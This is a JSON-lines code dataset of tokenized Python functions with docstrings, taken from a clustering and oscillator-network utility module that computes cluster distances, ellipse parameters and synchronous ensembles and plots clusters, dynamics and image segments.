{"signature": "def variance_increase_distance(cluster1, cluster2, data = None):", "body": "<EOL>if data is None:<EOL><INDENT>member_cluster1 = [<NUM_LIT:0.0>] * len(cluster1[<NUM_LIT:0>])<EOL>member_cluster2 = [<NUM_LIT:0.0>] * len(cluster2[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>member_cluster1 = [<NUM_LIT:0.0>] * len(data[<NUM_LIT:0>])<EOL>member_cluster2 = [<NUM_LIT:0.0>] * len(data[<NUM_LIT:0>])<EOL><DEDENT>for i in range(len(cluster1)):<EOL><INDENT>if data is None:<EOL><INDENT>member_cluster1 = list_math_addition(member_cluster1, cluster1[i])<EOL><DEDENT>else:<EOL><INDENT>member_cluster1 = list_math_addition(member_cluster1, data[ cluster1[i] ])<EOL><DEDENT><DEDENT>for j in range(len(cluster2)):<EOL><INDENT>if data is None:<EOL><INDENT>member_cluster2 = list_math_addition(member_cluster2, cluster2[j])<EOL><DEDENT>else:<EOL><INDENT>member_cluster2 = list_math_addition(member_cluster2, data[ cluster2[j] ])<EOL><DEDENT><DEDENT>member_cluster_general = list_math_addition(member_cluster1, member_cluster2)<EOL>member_cluster_general = list_math_division_number(member_cluster_general, len(cluster1) + len(cluster2))<EOL>member_cluster1 = list_math_division_number(member_cluster1, len(cluster1))<EOL>member_cluster2 = list_math_division_number(member_cluster2, len(cluster2))<EOL>distance_general = <NUM_LIT:0.0><EOL>distance_cluster1 = <NUM_LIT:0.0><EOL>distance_cluster2 = <NUM_LIT:0.0><EOL>for i in range(len(cluster1)):<EOL><INDENT>if data is None:<EOL><INDENT>distance_cluster1 += euclidean_distance_square(cluster1[i], member_cluster1)<EOL>distance_general += euclidean_distance_square(cluster1[i], member_cluster_general)<EOL><DEDENT>else:<EOL><INDENT>distance_cluster1 += euclidean_distance_square(data[ cluster1[i]], member_cluster1)<EOL>distance_general += euclidean_distance_square(data[ cluster1[i]], member_cluster_general)<EOL><DEDENT><DEDENT>for j in range(len(cluster2)):<EOL><INDENT>if data is None:<EOL><INDENT>distance_cluster2 += euclidean_distance_square(cluster2[j], member_cluster2)<EOL>distance_general += euclidean_distance_square(cluster2[j], member_cluster_general)<EOL><DEDENT>else:<EOL><INDENT>distance_cluster2 += euclidean_distance_square(data[ cluster2[j]], member_cluster2)<EOL>distance_general += euclidean_distance_square(data[ cluster2[j]], member_cluster_general)<EOL><DEDENT><DEDENT>return distance_general - distance_cluster1 - distance_cluster2<EOL>", "docstring": "!\n    @brief Calculates variance increase distance between two clusters.\n    @details Clusters can be represented by list of coordinates (in this case data shouldn't be specified),\n             or by list of indexes of points from the data (represented by list of points), in this case \n             data should be specified.\n\n    @param[in] cluster1 (list): The first cluster.\n    @param[in] cluster2 (list): The second cluster.\n    @param[in] data (list): If specified than elements of clusters will be used as indexes,\n               otherwise elements of cluster will be considered as points.\n\n    @return (double) Average variance increase distance between two clusters.", "id": "f15694:m13"}
{"signature": "def calculate_ellipse_description(covariance, scale = <NUM_LIT>):", "body": "eigh_values, eigh_vectors = numpy.linalg.eigh(covariance)<EOL>order = eigh_values.argsort()[::-<NUM_LIT:1>]<EOL>values, vectors = eigh_values[order], eigh_vectors[order]<EOL>angle = numpy.degrees(numpy.arctan2(*vectors[:,<NUM_LIT:0>][::-<NUM_LIT:1>]))<EOL>if <NUM_LIT:0.0> in values:<EOL><INDENT>return <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL><DEDENT>width, height = <NUM_LIT> * scale * numpy.sqrt(values)<EOL>return angle, width, height<EOL>", "docstring": "!\n    @brief Calculates description of ellipse using covariance matrix.\n\n    @param[in] covariance (numpy.array): Covariance matrix for which ellipse area should be calculated.\n    @param[in] scale (float): Scale of the ellipse.\n\n    @return (float, float, float) Return ellipse description: angle, width, height.", "id": "f15694:m14"}
{"signature": "def data_corners(data, data_filter = None):", "body": "dimensions = len(data[<NUM_LIT:0>])<EOL>bypass = data_filter<EOL>if bypass is None:<EOL><INDENT>bypass = range(len(data))<EOL><DEDENT>maximum_corner = list(data[bypass[<NUM_LIT:0>]][:])<EOL>minimum_corner = list(data[bypass[<NUM_LIT:0>]][:])<EOL>for index_point in bypass:<EOL><INDENT>for index_dimension in range(dimensions):<EOL><INDENT>if data[index_point][index_dimension] > maximum_corner[index_dimension]:<EOL><INDENT>maximum_corner[index_dimension] = data[index_point][index_dimension]<EOL><DEDENT>if data[index_point][index_dimension] < minimum_corner[index_dimension]:<EOL><INDENT>minimum_corner[index_dimension] = data[index_point][index_dimension]<EOL><DEDENT><DEDENT><DEDENT>return minimum_corner, maximum_corner<EOL>", "docstring": "!\n    @brief Finds maximum and minimum corner in each dimension of the specified data.\n\n    @param[in] data (list): List of points that should be analysed.\n    @param[in] data_filter (list): List of indexes of the data that should be analysed,\n                if it is 'None' then whole 'data' is analysed to obtain corners.\n\n    @return (list) Tuple of two points that corresponds to minimum and maximum corner (min_corner, max_corner).", "id": "f15694:m15"}
{"signature": "def norm_vector(vector):", "body": "length = <NUM_LIT:0.0><EOL>for component in vector:<EOL><INDENT>length += component * component<EOL><DEDENT>length = length ** <NUM_LIT:0.5><EOL>return length<EOL>", "docstring": "!\n    @brief Calculates norm of an input vector that is known as a vector length.\n\n    @param[in] vector (list): The input vector whose length is calculated.\n\n    @return (double) vector norm known as vector length.", "id": "f15694:m16"}
{"signature": "def heaviside(value):", "body": "if (value > <NUM_LIT:0.0>): <EOL><INDENT>return <NUM_LIT:1.0>;<EOL><DEDENT>return <NUM_LIT:0.0><EOL>", "docstring": "!\n    @brief Calculates Heaviside function that represents step function.\n    @details If input value is greater than 0 then returns 1, otherwise returns 0.\n\n    @param[in] value (double): Argument of Heaviside function.\n\n    @return (double) Value of Heaviside function.", "id": "f15694:m17"}
{"signature": "def timedcall(executable_function, *args):", "body": "time_start = time.clock();<EOL>result = executable_function(*args);<EOL>time_end = time.clock();<EOL>return (time_end - time_start, result)<EOL>", "docstring": "!\n    @brief Executes specified method or function with measuring of execution time.\n\n    @param[in] executable_function (pointer): Pointer to function or method.\n    @param[in] args (*): Arguments of called function or method.\n\n    @return (tuple) Execution time and result of execution of function or method (execution_time, result_execution).", "id": "f15694:m18"}
{"signature": "def extract_number_oscillations(osc_dyn, index = <NUM_LIT:0>, amplitude_threshold = <NUM_LIT:1.0>):", "body": "number_oscillations = <NUM_LIT:0>;<EOL>waiting_differential = False;<EOL>threshold_passed = False;<EOL>high_level_trigger = True if (osc_dyn[<NUM_LIT:0>][index] > amplitude_threshold) else False;<EOL>for values in osc_dyn:<EOL><INDENT>if ( (values[index] >= amplitude_threshold) and (high_level_trigger is False) ):<EOL><INDENT>high_level_trigger = True;<EOL>threshold_passed = True;<EOL><DEDENT>elif ( (values[index] < amplitude_threshold) and (high_level_trigger is True) ):<EOL><INDENT>high_level_trigger = False;<EOL>threshold_passed = True;<EOL><DEDENT>if (threshold_passed is True):<EOL><INDENT>threshold_passed = False;<EOL>if (waiting_differential is True and high_level_trigger is False):<EOL><INDENT>number_oscillations += <NUM_LIT:1>;<EOL>waiting_differential = False;<EOL><DEDENT>else:<EOL><INDENT>waiting_differential = True;<EOL><DEDENT><DEDENT><DEDENT>return number_oscillations<EOL>", "docstring": "!\n    @brief Extracts number of oscillations of specified oscillator.\n\n    @param[in] osc_dyn (list): Dynamic of oscillators.\n    @param[in] index (uint): Index of oscillator in dynamic.\n    @param[in] amplitude_threshold (double): Amplitude threshold when oscillation is taken into account, for example,\n                when oscillator amplitude is greater than threshold then oscillation is incremented.\n\n    @return (uint) Number of oscillations of specified oscillator.", "id": "f15694:m19"}
{"signature": "def allocate_sync_ensembles(dynamic, tolerance = <NUM_LIT:0.1>, threshold = <NUM_LIT:1.0>, ignore = None):", "body": "descriptors = [ [] for _ in range(len(dynamic[<NUM_LIT:0>])) ];<EOL>for index_dyn in range(<NUM_LIT:0>, len(dynamic[<NUM_LIT:0>]), <NUM_LIT:1>):<EOL><INDENT>if ((ignore is not None) and (index_dyn in ignore)):<EOL><INDENT>continue;<EOL><DEDENT>time_stop_simulation = len(dynamic) - <NUM_LIT:1>;<EOL>active_state = False;<EOL>if (dynamic[time_stop_simulation][index_dyn] > threshold):<EOL><INDENT>active_state = True;<EOL><DEDENT>if (active_state is True):<EOL><INDENT>while ( (dynamic[time_stop_simulation][index_dyn] > threshold) and (time_stop_simulation > <NUM_LIT:0>) ):<EOL><INDENT>time_stop_simulation -= <NUM_LIT:1>;<EOL><DEDENT>if (time_stop_simulation == <NUM_LIT:0>):<EOL><INDENT>continue;<EOL><DEDENT>active_state = False;<EOL><DEDENT>desc = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>]; <EOL>for t in range(time_stop_simulation, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if ( (dynamic[t][index_dyn] > threshold) and (active_state is False) ):<EOL><INDENT>desc[<NUM_LIT:0>] = t;<EOL>active_state = True;<EOL><DEDENT>elif ( (dynamic[t][index_dyn] < threshold) and (active_state is True) ):<EOL><INDENT>desc[<NUM_LIT:1>] = t;<EOL>active_state = False;<EOL>break;<EOL><DEDENT><DEDENT>if (desc == [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>]):<EOL><INDENT>continue;<EOL><DEDENT>desc[<NUM_LIT:2>] = desc[<NUM_LIT:1>] + (desc[<NUM_LIT:0>] - desc[<NUM_LIT:1>]) / <NUM_LIT>;<EOL>descriptors[index_dyn] = desc;<EOL><DEDENT>sync_ensembles = [];<EOL>desc_sync_ensembles = [];<EOL>for index_desc in range(<NUM_LIT:0>, len(descriptors), <NUM_LIT:1>):<EOL><INDENT>if (descriptors[index_desc] == []):<EOL><INDENT>continue;<EOL><DEDENT>if (len(sync_ensembles) == <NUM_LIT:0>):<EOL><INDENT>desc_ensemble = descriptors[index_desc];<EOL>reducer = (desc_ensemble[<NUM_LIT:0>] - desc_ensemble[<NUM_LIT:1>]) * tolerance;<EOL>desc_ensemble[<NUM_LIT:0>] = desc_ensemble[<NUM_LIT:2>] + reducer;<EOL>desc_ensemble[<NUM_LIT:1>] = desc_ensemble[<NUM_LIT:2>] - reducer;<EOL>desc_sync_ensembles.append(desc_ensemble);<EOL>sync_ensembles.append([ index_desc ]);<EOL><DEDENT>else:<EOL><INDENT>oscillator_captured = False;<EOL>for index_ensemble in range(<NUM_LIT:0>, len(sync_ensembles), <NUM_LIT:1>):<EOL><INDENT>if ( (desc_sync_ensembles[index_ensemble][<NUM_LIT:0>] > descriptors[index_desc][<NUM_LIT:2>]) and (desc_sync_ensembles[index_ensemble][<NUM_LIT:1>] < descriptors[index_desc][<NUM_LIT:2>])):<EOL><INDENT>sync_ensembles[index_ensemble].append(index_desc);<EOL>oscillator_captured = True;<EOL>break;<EOL><DEDENT><DEDENT>if (oscillator_captured is False):<EOL><INDENT>desc_ensemble = descriptors[index_desc];<EOL>reducer = (desc_ensemble[<NUM_LIT:0>] - desc_ensemble[<NUM_LIT:1>]) * tolerance;<EOL>desc_ensemble[<NUM_LIT:0>] = desc_ensemble[<NUM_LIT:2>] + reducer;<EOL>desc_ensemble[<NUM_LIT:1>] = desc_ensemble[<NUM_LIT:2>] - reducer;<EOL>desc_sync_ensembles.append(desc_ensemble);<EOL>sync_ensembles.append([ index_desc ]);<EOL><DEDENT><DEDENT><DEDENT>return sync_ensembles<EOL>", "docstring": "!\n    @brief Allocate clusters in line with ensembles of synchronous oscillators where each\n           synchronous ensemble corresponds to only one cluster.\n\n    @param[in] dynamic (dynamic): Dynamic of each oscillator.\n    @param[in] tolerance (double): Maximum error for allocation of synchronous ensemble oscillators.\n    @param[in] threshold (double): Amlitude trigger when spike is taken into account.\n    @param[in] ignore (bool): Set of indexes that shouldn't be taken into account.\n\n    @return (list) Grours (lists) of indexes of synchronous oscillators, for example, \n            [ [index_osc1, index_osc3], [index_osc2], [index_osc4, index_osc5] ].", "id": "f15694:m20"}
{"signature": "def draw_clusters(data, clusters, noise = [], marker_descr = '<STR_LIT:.>', hide_axes = False, axes = None, display_result = True):", "body": "<EOL>dimension = <NUM_LIT:0>;<EOL>if ( (data is not None) and (clusters is not None) ):<EOL><INDENT>dimension = len(data[<NUM_LIT:0>]);<EOL><DEDENT>elif ( (data is None) and (clusters is not None) ):<EOL><INDENT>dimension = len(clusters[<NUM_LIT:0>][<NUM_LIT:0>]);<EOL><DEDENT>else:<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>\"<STR_LIT>\"<EOL>colors = [ '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', <EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>' ];<EOL>if (len(clusters) > len(colors)):<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>fig = plt.figure();<EOL>if (axes is None):<EOL><INDENT>if ((dimension) == <NUM_LIT:1> or (dimension == <NUM_LIT:2>)):<EOL><INDENT>axes = fig.add_subplot(<NUM_LIT>);<EOL><DEDENT>elif (dimension == <NUM_LIT:3>):<EOL><INDENT>axes = fig.gca(projection='<STR_LIT>');<EOL><DEDENT>else:<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT><DEDENT>color_index = <NUM_LIT:0>;<EOL>for cluster in clusters:<EOL><INDENT>color = colors[color_index];<EOL>for item in cluster:<EOL><INDENT>if (dimension == <NUM_LIT:1>):<EOL><INDENT>if (data is None):<EOL><INDENT>axes.plot(item[<NUM_LIT:0>], <NUM_LIT:0.0>, color = color, marker = marker_descr);<EOL><DEDENT>else:<EOL><INDENT>axes.plot(data[item][<NUM_LIT:0>], <NUM_LIT:0.0>, color = color, marker = marker_descr);<EOL><DEDENT><DEDENT>if (dimension == <NUM_LIT:2>):<EOL><INDENT>if (data is None):<EOL><INDENT>axes.plot(item[<NUM_LIT:0>], item[<NUM_LIT:1>], color = color, marker = marker_descr);<EOL><DEDENT>else:<EOL><INDENT>axes.plot(data[item][<NUM_LIT:0>], data[item][<NUM_LIT:1>], color = color, marker = marker_descr);<EOL><DEDENT><DEDENT>elif (dimension == <NUM_LIT:3>):<EOL><INDENT>if (data is None):<EOL><INDENT>axes.scatter(item[<NUM_LIT:0>], item[<NUM_LIT:1>], item[<NUM_LIT:2>], c = color, marker = marker_descr);<EOL><DEDENT>else:<EOL><INDENT>axes.scatter(data[item][<NUM_LIT:0>], data[item][<NUM_LIT:1>], data[item][<NUM_LIT:2>], c = color, marker = marker_descr);<EOL><DEDENT><DEDENT><DEDENT>color_index += <NUM_LIT:1>;<EOL><DEDENT>for item in noise:<EOL><INDENT>if (dimension == <NUM_LIT:1>):<EOL><INDENT>if (data is None):<EOL><INDENT>axes.plot(item[<NUM_LIT:0>], <NUM_LIT:0.0>, '<STR_LIT:w>' + marker_descr);<EOL><DEDENT>else:<EOL><INDENT>axes.plot(data[item][<NUM_LIT:0>], <NUM_LIT:0.0>, '<STR_LIT:w>' + marker_descr);<EOL><DEDENT><DEDENT>if (dimension == <NUM_LIT:2>):<EOL><INDENT>if (data is None):<EOL><INDENT>axes.plot(item[<NUM_LIT:0>], item[<NUM_LIT:1>], '<STR_LIT:w>' + marker_descr);<EOL><DEDENT>else:<EOL><INDENT>axes.plot(data[item][<NUM_LIT:0>], data[item][<NUM_LIT:1>], '<STR_LIT:w>' + marker_descr);<EOL><DEDENT><DEDENT>elif (dimension == <NUM_LIT:3>):<EOL><INDENT>if (data is None):<EOL><INDENT>axes.scatter(item[<NUM_LIT:0>], item[<NUM_LIT:1>], item[<NUM_LIT:2>], c = '<STR_LIT:w>', marker = marker_descr);<EOL><DEDENT>else:<EOL><INDENT>axes.scatter(data[item][<NUM_LIT:0>], data[item][<NUM_LIT:1>], data[item][<NUM_LIT:2>], c = '<STR_LIT:w>', marker = marker_descr);<EOL><DEDENT><DEDENT><DEDENT>axes.grid(True);<EOL>if (hide_axes is True):<EOL><INDENT>axes.xaxis.set_ticklabels([]);<EOL>axes.yaxis.set_ticklabels([]);<EOL>if (dimension == <NUM_LIT:3>):<EOL><INDENT>axes.zaxis.set_ticklabels([]);<EOL><DEDENT><DEDENT>if (display_result is True):<EOL><INDENT>plt.show();<EOL><DEDENT>return axes<EOL>", "docstring": "!\n    @brief Displays clusters for data in 2D or 3D.\n\n    @param[in] data (list): Points that are described by coordinates represented.\n    @param[in] clusters (list): Clusters that are represented by lists of indexes where each index corresponds to point in data.\n    @param[in] noise (list): Points that are regarded to noise.\n    @param[in] marker_descr (string): Marker for displaying points.\n    @param[in] hide_axes (bool): If True - axes is not displayed.\n    @param[in] axes (ax) Matplotlib axes where clusters should be drawn, if it is not specified (None) then new plot will be created.\n    @param[in] display_result (bool): If specified then matplotlib axes will be used for drawing and plot will not be shown.\n\n    @return (ax) Matplotlib axes where drawn clusters are presented.", "id": "f15694:m21"}
{"signature": "def draw_dynamics(t, dyn, x_title = None, y_title = None, x_lim = None, y_lim = None, x_labels = True, y_labels = True, separate = False, axes = None):", "body": "number_lines = <NUM_LIT:0>;<EOL>stage_xlim = None;<EOL>if (x_lim is not None):<EOL><INDENT>stage_xlim = x_lim;<EOL><DEDENT>elif (len(t) > <NUM_LIT:0>):<EOL><INDENT>stage_xlim = [<NUM_LIT:0>, t[len(t) - <NUM_LIT:1>]];<EOL><DEDENT>if ( (isinstance(separate, bool) is True) and (separate is True) ):<EOL><INDENT>if (isinstance(dyn[<NUM_LIT:0>], list) is True):<EOL><INDENT>number_lines = len(dyn[<NUM_LIT:0>]);<EOL><DEDENT>else:<EOL><INDENT>number_lines = <NUM_LIT:1>;<EOL><DEDENT><DEDENT>elif (isinstance(separate, list) is True):<EOL><INDENT>number_lines = len(separate);<EOL><DEDENT>else:<EOL><INDENT>number_lines = <NUM_LIT:1>;<EOL><DEDENT>dysplay_result = False;<EOL>if (axes is None):<EOL><INDENT>dysplay_result = True;<EOL>(fig, axes) = plt.subplots(number_lines, <NUM_LIT:1>);<EOL><DEDENT>if (isinstance(dyn[<NUM_LIT:0>], list) is True):<EOL><INDENT>num_items = len(dyn[<NUM_LIT:0>]);<EOL>for index in range(<NUM_LIT:0>, num_items, <NUM_LIT:1>):<EOL><INDENT>y = [item[index] for item in dyn];<EOL>if (number_lines > <NUM_LIT:1>):<EOL><INDENT>index_stage = -<NUM_LIT:1>;<EOL>if (isinstance(separate, bool) is True):<EOL><INDENT>index_stage = index;<EOL><DEDENT>elif (isinstance(separate, list) is True):<EOL><INDENT>for index_group in range(<NUM_LIT:0>, len(separate), <NUM_LIT:1>):<EOL><INDENT>if (index in separate[index_group]): <EOL><INDENT>index_stage = index_group;<EOL>break;<EOL><DEDENT><DEDENT><DEDENT>if (index_stage != -<NUM_LIT:1>):<EOL><INDENT>if (index_stage != number_lines - <NUM_LIT:1>):<EOL><INDENT>axes[index_stage].get_xaxis().set_visible(False);<EOL><DEDENT>axes[index_stage].plot(t, y, '<STR_LIT>', linewidth = <NUM_LIT:0.5>); <EOL>set_ax_param(axes[index_stage], x_title, y_title, stage_xlim, y_lim, x_labels, y_labels, True);<EOL><DEDENT><DEDENT>else:<EOL><INDENT>axes.plot(t, y, '<STR_LIT>', linewidth = <NUM_LIT:0.5>);<EOL>set_ax_param(axes, x_title, y_title, stage_xlim, y_lim, x_labels, y_labels, True);<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>axes.plot(t, dyn, '<STR_LIT>', linewidth = <NUM_LIT:0.5>);<EOL>set_ax_param(axes, x_title, y_title, stage_xlim, y_lim, x_labels, y_labels, True);<EOL><DEDENT>if (dysplay_result is True):<EOL><INDENT>plt.show();<EOL><DEDENT>return axes<EOL>", "docstring": "!\n    @brief Draw dynamics of neurons (oscillators) in the network.\n    @details It draws if matplotlib is not specified (None), othewise it should be performed manually.\n\n    @param[in] t (list): Values of time (used by x axis).\n    @param[in] dyn (list): Values of output of oscillators (used by y axis).\n    @param[in] x_title (string): Title for Y.\n    @param[in] y_title (string): Title for X.\n    @param[in] x_lim (double): X limit.\n    @param[in] y_lim (double): Y limit.\n    @param[in] x_labels (bool): If True - shows X labels.\n    @param[in] y_labels (bool): If True - shows Y labels.\n    @param[in] separate (list): Consists of lists of oscillators where each such list consists of oscillator indexes that will be shown on separated stage.\n    @param[in] axes (ax): If specified then matplotlib axes will be used for drawing and plot will not be shown.\n\n    @return (ax) Axes of matplotlib.", "id": "f15694:m22"}
{"signature": "def set_ax_param(ax, x_title = None, y_title = None, x_lim = None, y_lim = None, x_labels = True, y_labels = True, grid = True):", "body": "from matplotlib.font_manager import FontProperties;<EOL>from matplotlib import rcParams;<EOL>if (_platform == \"<STR_LIT>\") or (_platform == \"<STR_LIT>\"):<EOL><INDENT>rcParams['<STR_LIT>'] = ['<STR_LIT>'];<EOL><DEDENT>else:<EOL><INDENT>rcParams['<STR_LIT>'] = ['<STR_LIT>'];<EOL><DEDENT>rcParams['<STR_LIT>'] = <NUM_LIT:12>;<EOL>surface_font = FontProperties();<EOL>if (_platform == \"<STR_LIT>\") or (_platform == \"<STR_LIT>\"):<EOL><INDENT>surface_font.set_name('<STR_LIT>');<EOL><DEDENT>else:<EOL><INDENT>surface_font.set_name('<STR_LIT>');<EOL><DEDENT>surface_font.set_size('<STR_LIT>');<EOL>if (y_title is not None): ax.set_ylabel(y_title, fontproperties = surface_font);<EOL>if (x_title is not None): ax.set_xlabel(x_title, fontproperties = surface_font);<EOL>if (x_lim is not None): ax.set_xlim(x_lim[<NUM_LIT:0>], x_lim[<NUM_LIT:1>]);<EOL>if (y_lim is not None): ax.set_ylim(y_lim[<NUM_LIT:0>], y_lim[<NUM_LIT:1>]);<EOL>if (x_labels is False): ax.xaxis.set_ticklabels([]);<EOL>if (y_labels is False): ax.yaxis.set_ticklabels([]);<EOL>ax.grid(grid)<EOL>", "docstring": "!\n    @brief Sets parameters for matplotlib ax.\n\n    @param[in] ax (Axes): Axes for which parameters should applied.\n    @param[in] x_title (string): Title for Y.\n    @param[in] y_title (string): Title for X.\n    @param[in] x_lim (double): X limit.\n    @param[in] y_lim (double): Y limit.\n    @param[in] x_labels (bool): If True - shows X labels.\n    @param[in] y_labels (bool): If True - shows Y labels.\n    @param[in] grid (bool): If True - shows grid.", "id": "f15694:m23"}
{"signature": "def draw_dynamics_set(dynamics, xtitle = None, ytitle = None, xlim = None, ylim = None, xlabels = False, ylabels = False):", "body": "<EOL>number_dynamics = len(dynamics);<EOL>if (number_dynamics == <NUM_LIT:1>):<EOL><INDENT>draw_dynamics(dynamics[<NUM_LIT:0>][<NUM_LIT:0>], dynamics[<NUM_LIT:0>][<NUM_LIT:1>], xtitle, ytitle, xlim, ylim, xlabels, ylabels);<EOL>return;<EOL><DEDENT>number_cols = int(numpy.ceil(number_dynamics ** <NUM_LIT:0.5>));<EOL>number_rows = int(numpy.ceil(number_dynamics / number_cols));<EOL>real_index = <NUM_LIT:0>, <NUM_LIT:0>;<EOL>double_indexer = True;<EOL>if ( (number_cols == <NUM_LIT:1>) or (number_rows == <NUM_LIT:1>) ):<EOL><INDENT>real_index = <NUM_LIT:0>;<EOL>double_indexer = False;<EOL><DEDENT>(_, axarr) = plt.subplots(number_rows, number_cols);<EOL>for dynamic in dynamics:<EOL><INDENT>axarr[real_index] = draw_dynamics(dynamic[<NUM_LIT:0>], dynamic[<NUM_LIT:1>], xtitle, ytitle, xlim, ylim, xlabels, ylabels, axes = axarr[real_index]);<EOL>if (double_indexer is True):<EOL><INDENT>real_index = real_index[<NUM_LIT:0>], real_index[<NUM_LIT:1>] + <NUM_LIT:1>;<EOL>if (real_index[<NUM_LIT:1>] >= number_cols):<EOL><INDENT>real_index = real_index[<NUM_LIT:0>] + <NUM_LIT:1>, <NUM_LIT:0>; <EOL><DEDENT><DEDENT>else:<EOL><INDENT>real_index += <NUM_LIT:1>;<EOL><DEDENT><DEDENT>plt.show()<EOL>", "docstring": "!\n    @brief Draw lists of dynamics of neurons (oscillators) in the network.\n\n    @param[in] dynamics (list): List of network outputs that are represented by values of output of oscillators (used by y axis).\n    @param[in] xtitle (string): Title for Y.\n    @param[in] ytitle (string): Title for X.\n    @param[in] xlim (double): X limit.\n    @param[in] ylim (double): Y limit.\n    @param[in] xlabels (bool): If True - shows X labels.\n    @param[in] ylabels (bool): If True - shows Y labels.", "id": "f15694:m24"}
{"signature": "def draw_image_color_segments(source, clusters, hide_axes = True):", "body": "image_source = Image.open(source);<EOL>image_size = image_source.size;<EOL>(fig, axarr) = plt.subplots(<NUM_LIT:1>, <NUM_LIT:2>);<EOL>plt.setp([ax for ax in axarr], visible = False);<EOL>available_colors = [ (<NUM_LIT:0>, <NUM_LIT>, <NUM_LIT>),   (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>),   (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT:255>, <NUM_LIT>, <NUM_LIT:0>),   (<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>),       (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT:255>, <NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>), <EOL>(<NUM_LIT:200>, <NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT:0>, <NUM_LIT>),    (<NUM_LIT:255>, <NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>),   (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>), (<NUM_LIT:255>, <NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>),  (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>) ];<EOL>image_color_segments = [(<NUM_LIT:255>, <NUM_LIT:255>, <NUM_LIT:255>)] * (image_size[<NUM_LIT:0>] * image_size[<NUM_LIT:1>]);<EOL>for index_segment in range(len(clusters)):<EOL><INDENT>for index_pixel in clusters[index_segment]:<EOL><INDENT>image_color_segments[index_pixel] = available_colors[index_segment];<EOL><DEDENT><DEDENT>stage = array(image_color_segments, numpy.uint8);<EOL>stage = numpy.reshape(stage, (image_size[<NUM_LIT:1>], image_size[<NUM_LIT:0>]) + ((<NUM_LIT:3>),)); <EOL>image_cluster = Image.fromarray(stage, '<STR_LIT>');<EOL>axarr[<NUM_LIT:0>].imshow(image_source, interpolation = '<STR_LIT:none>');<EOL>axarr[<NUM_LIT:1>].imshow(image_cluster, interpolation = '<STR_LIT:none>');<EOL>for i in range(<NUM_LIT:2>):<EOL><INDENT>plt.setp(axarr[i], visible = True);<EOL>if (hide_axes is True):<EOL><INDENT>axarr[i].xaxis.set_ticklabels([]);<EOL>axarr[i].yaxis.set_ticklabels([]);<EOL>axarr[i].xaxis.set_ticks_position('<STR_LIT:none>');<EOL>axarr[i].yaxis.set_ticks_position('<STR_LIT:none>');<EOL><DEDENT><DEDENT>plt.show()<EOL>", "docstring": "!\n    @brief Shows image segments using colored image.\n    @details Each color on result image represents allocated segment. The first image is initial and other is result of segmentation.\n\n    @param[in] source (string): Path to image.\n    @param[in] clusters (list): List of clusters (allocated segments of image) where each cluster\n                                consists of indexes of pixel from source image.\n    @param[in] hide_axes (bool): If True then axes will not be displayed.", "id": "f15694:m25"}
{"signature": "def draw_image_mask_segments(source, clusters, hide_axes = True):", "body": "if (len(clusters) == <NUM_LIT:0>):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return;<EOL><DEDENT>image_source = Image.open(source);<EOL>image_size = image_source.size;<EOL>number_clusters = len(clusters) + <NUM_LIT:1>; <EOL>number_cols = int(numpy.ceil(number_clusters ** <NUM_LIT:0.5>));<EOL>number_rows = int(numpy.ceil(number_clusters / number_cols));<EOL>real_index = <NUM_LIT:0>, <NUM_LIT:0>;<EOL>double_indexer = True;<EOL>if ( (number_cols == <NUM_LIT:1>) or (number_rows == <NUM_LIT:1>) ):<EOL><INDENT>real_index = <NUM_LIT:0>;<EOL>double_indexer = False;<EOL><DEDENT>(fig, axarr) = plt.subplots(number_rows, number_cols);<EOL>plt.setp([ax for ax in axarr], visible = False);<EOL>axarr[real_index].imshow(image_source, interpolation = '<STR_LIT:none>');<EOL>plt.setp(axarr[real_index], visible = True);<EOL>if (hide_axes is True):<EOL><INDENT>axarr[real_index].xaxis.set_ticklabels([]);<EOL>axarr[real_index].yaxis.set_ticklabels([]);<EOL>axarr[real_index].xaxis.set_ticks_position('<STR_LIT:none>');<EOL>axarr[real_index].yaxis.set_ticks_position('<STR_LIT:none>');<EOL><DEDENT>if (double_indexer is True):<EOL><INDENT>real_index = <NUM_LIT:0>, <NUM_LIT:1>;<EOL><DEDENT>else:<EOL><INDENT>real_index += <NUM_LIT:1>;<EOL><DEDENT>for cluster in clusters:<EOL><INDENT>stage_cluster = [(<NUM_LIT:255>, <NUM_LIT:255>, <NUM_LIT:255>)] * (image_size[<NUM_LIT:0>] * image_size[<NUM_LIT:1>]);<EOL>for index in cluster:<EOL><INDENT>stage_cluster[index] = (<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>);<EOL><DEDENT>stage = array(stage_cluster, numpy.uint8);<EOL>stage = numpy.reshape(stage, (image_size[<NUM_LIT:1>], image_size[<NUM_LIT:0>]) + ((<NUM_LIT:3>),)); <EOL>image_cluster = Image.fromarray(stage, 